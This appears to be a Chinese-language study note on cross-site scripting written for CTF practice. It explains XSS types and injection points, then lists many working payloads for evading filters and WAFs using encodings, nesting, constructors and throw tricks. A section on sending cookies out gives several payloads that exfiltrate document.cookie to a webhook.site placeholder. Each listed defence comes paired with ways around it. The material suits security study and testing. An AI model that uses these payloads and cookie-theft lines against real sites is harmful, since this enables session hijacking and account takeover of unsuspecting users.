XSS漏洞
XSS漏洞
XSS是基于前端的一种攻击,其实就是非Web应用自身的JS代码被黑客恶意插入,通过执行恶意的JS代码,可以导致窃取敏感信息、篡改网页内容或劫持用户会话,大部分情况是窃取Cookie,在你登录账号后的情况下,部分Web应用通过Cookie可以导致黑客能直接登录你的账号
XSS的分类
存储型XSS
持久化,代码存储在后端(数据库、日志文件、评论等)中,容易造成蠕虫,盗窃cookie
数据流通:将恶意代码通过交互界面上传到后端,然后从而上传到数据库中(实现自动化攻击),当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端
在CTF中,利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本
反射型XSS
非持久化,需欺骗用户去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般出现在搜索页面,大多数用来盗取Cookie
数据流通:我们在一个输入框(一般是<input>标签形成)里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示
在CTF中,题目会给一个输入框,然后绕过过滤,执行恶意脚本
DOM型XSS
只发生在前端,利用 JavaScript 在浏览器端操作 DOM 时,动态插入和执行恶意代码,是通过url传入参数去控制触发的(也属于反射型XSS)
数据流通:在前端url添加我们的恶意脚本,然后直接在页面输出
JSONP型XSS
在浏览器的同源策略下,前端 JavaScript 不能直接跨域请求 AJAX(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script> 标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据)
后端返回的是带回调函数的 JSON 数据,前端利用回调函数(callback)解析数据
攻击者可以伪造回调函数,利用 JSONP 执行任意 JavaScript 代码
| 1 | <script src="https://example.com/user?callback=alert"></script> | 
如果服务器不做安全限制,返回的数据是:
| 1 | alert({"name": "Alice", "age": 25}); | 
这时 alert() 直接执行,可能导致 XSS 攻击,也可以窃取受害者的 Cookie:
| 1 | <script src="https://example.com/user?callback=evilFunction"></script> | 
XSS的攻击对象(XSS最终插入到哪里)
插入到HTML注释内容中
利用闭合的方式从而插入HTML注释内容之中
[!CAUTION]
可能利用某些解析漏洞,导致代码执行
绕过 WAF(安全防火墙)检测,隐藏 XSS 代码(如果后端在某些情况下错误地解析了注释(比如动态拼接 HTML),注释中的 XSS 可能会被执行)
诱导用户手动执行 XSS(社工攻击)
前端错误解析 HTML 注释,导致 XSS 触发(如
innerHTML没有正确处理注释,导致<script>被执行)配合 DOM XSS,影响前端页面(如
innerHTML解析了注释,导致<img>执行onerrorXSS)
插入到HTML标签的属性值中
通常配合onerror使用
[!IMPORTANT]
onerror(XSS利用点)
一个事件处理程序,当资源(如图片、脚本、iframe)加载失败时触发
利用
<img>标签
利用
<script>标签
利用
iframe
onerror结合javascript:伪协议
插入到HTML标签的属性名中
如果服务器端没有正确转义 name,而是直接在 HTML 中插入:
| 1 | <p>欢迎, <input type="text" name="{{ user_input }}">!</p> | 
攻击者输入:
| 1 | "><script>alert('XSS')</script> | 
浏览器解析后,HTML 变成:
| 1 | <p>欢迎, <input type="text" name=""> | 
插入到HTML标签名中
| 1 | <div id="content"></div> | 
攻击者输入:
| 1 | src=x onerror="</img><script>alert('XSS')</script>" | 
解析后的HTML:
| 1 | <img src=x onerror=""> | 
原因:<img>是自闭合标签,不会有 </img> 这样的闭合标签,当解析器看到 "</img>,它会忽略这个 </img> 并直接闭合 <img>
最简单的插入到script,img,svg标签中
| 1 | <script>alert('xss')</script> | 
插入到CSS中(旧版浏览器)
| 1 | <div style="background-image:url('javascript:alert(`xss`)');"> | 
当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码
插入到HTTP响应中
这就要牵扯到CRLF漏洞
利用CRLF漏洞将http包分为了header和body,利用回车符/换行符成功执行了body中的代码,实现XSS
| 1 | ?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)> | 
返回包变成:
| 1 | HTTP/1.1 200 OK | 
如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0(旧版服务器),可绕过浏览器的过滤规则实现XSS弹窗显示(主要为反射型XSS)
XSS的绕过
关键词绕过
大小写绕过
| 1 | <sCriPt>alert(1)<sCriPt> | 
拼接绕过
eval,top,window,self,parent,frames等
| 1 | <img src="x" onerror="eval['al'+'ert'](1)"> | 
函数替换绕过
eval()
| 1 | <img src="x" onerror="eval(alert(1))"> | 
open()
| 1 | <img src="x" onerror="open(alert(1))"> | 
document.write()
| 1 | <img src="x" onerror="document.write(alert(1))"> | 
setTimeout()和 setInterval()
JavaScript 中用于延时执行代码的函数
| 1 | <img src="x" onerror="setTimeout(alert(1))"> | 
利用构造器
通过构造器动态生成并执行 JavaScript 代码
Set.constructor,Map.constructor,Array.constructor,WeakSet.constructor,constructor.constructor等
| 1 | <img src="x" onerror="Set.constructor(alert(1))"> | 
利用数组方法
[1].map,[1].find,[1].every,[1].filter,[1].forEach,[1].findIndex等
| 1 | <img src="x" onerror="[1].map(alert(1))"> | 
嵌套绕过
| 1 | <sc<script>ript>alert('XSS')</sc</script>ript> | 
使用 sc<script>ript,<script> 被分成两部分:sc 和 ript,这样 XSS 过滤器可能不会识别整个标签,从而不会阻止该代码的执行
赋值绕过
| 1 | <img src onerror=_=alert,_(1)> | 
[!IMPORTANT]
map()方法
用于对数组中的每个元素执行提供的回调函数,并返回一个新的数组,新的数组包含回调函数的返回值
参数:
callback:对每个数组元素执行的函数
currentValue:当前处理的元素
index(可选):当前处理的元素的索引
array(可选):调用map()方法的数组
最后一个payload解释:
['ale'+'rt'] 是一个包含字符串 'alert' 的数组
map(top['ev'+'al']) 使用 map() 方法对该数组进行操作,最终将 alert 函数赋值给数组的第一个元素
[0] 取出数组的第一个元素,即 alert 函数
valueOf() 获取该函数的原始值(即 alert 函数本身)
最后,调用 alert(1) 执行 JavaScript 代码
编码绕过
URL 编码
<被编码为%3C,>被编码为%3E,&被编码为%26,/被编码为%2F
| 1 | <img src="x" onerror="alert('%3Cscript%3Ealert(1)%3C%2Fscript%3E')"> | 
HTML 实体编码
是将某些特殊字符转换成以 & 开头、; 结尾的实体格式
<被编码为<,>被编码为>,&被编码为&,/被编码为/,“被编码为",’被编码为', 被编码为 ,=被编码为=
| 1 | <img src="x" onerror="alert('<script>alert(1)</script>')"> | 
Base64 编码
| 1 | <img src="x" onerror="eval(atob('YWxlcnQoMSk='))"> | 
alert(1)编码为atob('YWxlcnQoMSk=')
双重编码
例如,先对 < 编码为 %3C,再将%3C编码为 %253C
| 1 | <img src="x" onerror="alert('%253Cscript%253Ealert(1)%253C%252Fscript%253E')"> | 
Unicode 编码
Unicode 编码使用十六进制值表示字符,它可以用于替代常见的 ASCII 字符
| 1 | <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"> | 
97,108,101,114,116,40,49,41是 alert(1) 每个字符的 Unicode 编码值
十六进制编码
| 1 | <img src="x" onerror="eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))"> | 
空格绕过
在html的标签中的不同位置的空格绕过方式不是一样的
| 1 | <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html> | 
A位置: /,/123/,%09,%0A,%0C,%0D,%20
B位置:%09,%0A,%0C,%0D,%20
C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D位置:%09,%0A,%0C,%0D,%20,//,>
()绕过
使用反引号
| 1 | <script>alert`1`</script> | 
throw绕过
| 1 | <script>alert;throw 1</script> | 
| 1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> | 
onload:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码
window.onerror = eval;:window.onerror 是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码
throw '=alert\x281\x29';:这行代码通过 throw 抛出一个异常alert(1)
单引号过滤
使用反引号
用斜杠替换
| 1 | <script>alert(/hack/)</script> | 
alert过滤绕过
函数替换绕过
prompt(),confirm(),console.log(),document.write()
编码绕过
对象方法绕过
利用对象的属性或方法来替代直接调用 alert
| 1 | <img src="x" onerror="window.constructor.constructor('alert(1)')()"> | 
数组方法绕过
异步调用绕过
| 1 | <img src="x" onerror="setTimeout('alert(1)', 0)"> | 
字符替换绕过
分割关键字绕过
通过在关键字中插入空格或注释符号( /**/)来分隔函数名
a/**/l/**/ert(1)
长度限制绕过
用拆分法
| 1 | <script>a='document.write("'</script> | 
用嵌套结构
| 1 | <img src="x" onerror="document.write('<img src=1 onerror=alert(1)>')"> | 
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
| 1 | <script>{onerror=alert}throw 1</script> | 
当浏览器遇到 throw 1 时,它会抛出一个错误
抛出错误时,onerror 事件会被触发,因为我们之前将 onerror 设置为了 alert 函数
结果是,浏览器会弹出一个对话框,显示 1,这就是 alert(1) 的效果
绕过CSP(未完)
绕过WAF(未完)
cookie外带
XSS靶场中通常以前端检测网页是否弹窗来判断有没有被XSS,但比赛/实战中,通常以XSS真实场景,需要外带出Cookie
获取cookie(待定)
带出cookie(通常对+进行编码%2B)
fetch()方法
fetch() 允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include',则可以携带当前站点的 Cookie
| 1 | fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie) | 
XMLHttpRequest 对象
| 1 | <script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script> | 
window.location 对象
window.location 可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如
| 1 | <script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script> | 
下面是window.location 对象中可用于跳转的方法
window.location.href
| 1 | window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie; | 
window.location.assign(url)
| 1 | window.location.assign("//webhook.site/xxxxxxxx/?cookie="+document.cookie); | 
window.location.replace(url)
| 1 | window.location.replace("//webhook.site/xxxxxxxx/?cookie="+document.cookie); | 
window.open方法
window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象
例如,以下代码将会在新窗口或新标签页中打开指定 URL:
| 1 | window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie); | 
document.write方法
利用 document.write 写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
| 1 | <script>document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`)</script> | 
| 1 | <script>document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>')</script> | 
XSS的防范
HttpOnly Cookie
设置 Cookie 为 HttpOnly,这样,JavaScript 无法 通过 document.cookie 访问该 Cookie,只能通过HTTP请求发送给服务器
绕过
| 绕过方式 | 说明 | 
|---|---|
| CSRF (跨站请求伪造) | HttpOnly 不能防止跨站请求伪造攻击(CSRF),攻击者仍可在受害者的浏览器中发起请求,利用受害者的 Cookie 进行操作 | 
| XS-Leaks(跨站信息泄露) | 通过 img、iframe、fetch()发送请求,并观察返回数据是否有差异,可能间接推测出 Cookie 值 | 
| 服务器端获取 Cookie | 通过 XSS 劫持会话,让受害者访问恶意页面,然后读取本地存储的 Token 或 触发服务器端请求 来利用 Cookie | 
输入验证和转义
输入验证:限制输入字符,只允许安全字符(如 a-zA-Z0-9)
HTML转义:实体编码
防止恶意脚本被注入到网页中
绕过
| 绕过方式 | 说明 | 
|---|---|
| 双重编码绕过 | 有些 WAF 只转义了一次,可以尝试 <script>alert(1)</script>让服务器误解 | 
| 事件属性绕过 | 如果 <script>被拦截,可以尝试<img src=x onerror=alert(1)> | 
| DOM XSS | 如果后端转义了,但前端用 innerHTML渲染数据,仍然可以执行 XSS 代码 | 
| JSON 解析漏洞 | JSON 可能会反序列化恶意代码,例如 {"data": "<script>alert(1)</script>"} | 
使用 CSP(内容安全策略)
限制页面中允许执行的脚本来源,防止外部 XSS 代码注入
绕过
| 绕过方式 | 说明 | 
|---|---|
| JSONP 绕过 | 某些 API 允许 JSONP请求,仍可执行外部代码 | 
| 内联事件监听 | onclick="alert(1)"可能仍然有效 | 
| 数据 URI 绕过 | 某些 data:方案仍然可以执行代码 | 
| 动态 JavaScript 执行 | eval(),setTimeout(),Function()可能仍然可以执行恶意代码 | 
Cookie SameSite 属性
限制 Cookie 的跨站点发送行为
绕过
| 绕过方式 | 说明 | 
|---|---|
| CORS 配合 XSS 绕过 | 如果 Access-Control-Allow-Origin: *,可以用fetch()请求获取敏感数据 | 
| 站内跳转绕过 | SameSite=Lax允许 GET 请求,所以可以诱导用户点击链接 | 
参考文章:
